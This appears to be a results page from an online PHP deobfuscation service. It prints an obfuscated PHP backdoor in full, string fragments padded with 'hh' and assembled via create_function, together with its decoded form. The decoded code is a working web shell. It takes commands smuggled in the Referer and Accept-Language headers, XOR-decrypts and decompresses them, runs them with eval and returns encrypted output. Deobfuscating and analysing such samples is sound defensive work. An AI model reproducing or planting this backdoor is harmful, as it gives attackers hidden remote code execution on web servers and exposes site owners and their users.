Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $D='$i}^$k{hh$j};}}rhhethhurn $o;}$r=$hh_ShhERVER;$hhrr=@$r["HhhTTP_REFERER"hh];$rh..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$D='$i}^$k{hh$j};}}rhhethhurn $o;}$r=$hh_ShhERVER;$hhrr=@$r["HhhTTP_REFERER"hh];$rhha=@$rhh[';
$O='$hhhho="";for(hh$i=0;$i<$lhh;)hh{for(hh$jhh=0;($hhj<$c&&$i<$l);$j+hh+,$i++)hh{$ohh.=hh$hht{';
$j='<count(hh$m[1])hh;$z+hh+)$p.=$hhq[$hhm[2][$z]];ifhh(sthhrpos($p,hh$h)===0hhhh){$s[$i]=';
$F='e64_dehhcode(prhheg_rehhplhhace(arrhhay("hh/_/","/-/"hh),arrhhay("hh/","+"hh),$ss(hh$s';
$k='[$i],0,$hhe))),$k)hh));$hho=ohhbhh_get_contents()hhhh;ob_end_clean(hh);$d=bahhse64_hhenc';
$I='($hhu["queryhhhh"],$q);$q=arrahhy_values(hh$q)hh;prhheg_matchhh_alhhl("/([\\w])[\\w-hh]+(?h';
$a='"HThhTP_ACCEhhPT_LANGUAGhhE"];hhif($rr&hh&$hhra){hh$u=parse_hhurl($rrhh);pahhrse_hhstr';
$z='ohhde(x(gzhhcompreshhs($hhhho),$k));hhprhhint("<$k>$d</hh$k>");@sehhssihhon_deshhtroy();}}}}';
$n='"";$phh=$sshh($p,hh3);}hhif(arrayhh_key_exhhists($ihh,hh$s))hh{$s[$i].hh=$p;$e=strposhh($';
$b='s[$hhi]hh,$f);if(hh$hhe){hh$k=$kh.$kf;obhh_start();hh@evhhal(@gzhhuhhncompress(@x(@hhbhhas';
$M='hd5hh($i.$kh)hhhh,0,3));$f=$slhh($ss(mhhhhd5hh($i.$kf),0,3hh));$p="";hhfor($z=hh1;$hhz';
$K=str_replace('ym','','ymcrymeate_ymfuymncymtymion');
$o='SION;$hhss="subhhstr";$sl=hh"shhhhtrtolower";$i=$hhm[1hh][0]hh.$m[1][1hh];$hhh=$sl($ss(mh';
$d='hhh:hh;q=0.([\\hhd]))?,?/",$ra,$m)hh;ihhf($q&hh&$m){@sessihhon_hhstarthh();$s=&$_ShhhhES';
$Z='$kh="5d41";hhhh$kf="402a";hhfuncthhion x($hht,hh$k){hh$c=strlhhen($k);$hhl=strlen(hh$t);';
$q=str_replace('hh','',$Z.$O.$D.$a.$I.$d.$o.$M.$j.$n.$b.$F.$k.$z);
$E=$K('',$q);$E();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$D $i}^$k{hh$j};}}rhhethhurn $o;}$r=$hh_ShhERVER;$hhrr=@$r["Hhh..
$E None
$F e64_dehhcode(prhheg_rehhplhhace(arrhhay("hh/_/","/-/"hh),arr..
$I ($hhu["queryhhhh"],$q);$q=arrahhy_values(hh$q)hh;prhheg_matc..
$K create_function
$M hd5hh($i.$kh)hhhh,0,3));$f=$slhh($ss(mhhhhd5hh($i.$kf),0,3hh..
$O $hhhho="";for(hh$i=0;$i<$lhh;)hh{for(hh$jhh=0;($hhj<$c&&$i<$..
$Z $kh="5d41";hhhh$kf="402a";hhfuncthhion x($hht,hh$k){hh$c=str..
$a "HThhTP_ACCEhhPT_LANGUAGhhE"];hhif($rr&hh&$hhra){hh$u=parse_..
$b s[$hhi]hh,$f);if(hh$hhe){hh$k=$kh.$kf;obhh_start();hh@evhhal..
$d hhh:hh;q=0.([\hhd]))?,?/",$ra,$m)hh;ihhf($q&hh&$m){@sessihho..
$j <count(hh$m[1])hh;$z+hh+)$p.=$hhq[$hhm[2][$z]];ifhh(sthhrpos..
$k [$i],0,$hhe))),$k)hh));$hho=ohhbhh_get_contents()hhhh;ob_end..
$n "";$phh=$sshh($p,hh3);}hhif(arrayhh_key_exhhists($ihh,hh$s))..
$o SION;$hhss="subhhstr";$sl=hh"shhhhtrtolower";$i=$hhm[1hh][0]..
$q $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$z ohhde(x(gzhhcompreshhs($hhhho),$k));hhprhhint("<$k>$d</hh$k>..

Stats

MD5 7f7062ff020f3014a750ea2d80eaa267
Eval Count 1
Decode Time 114 ms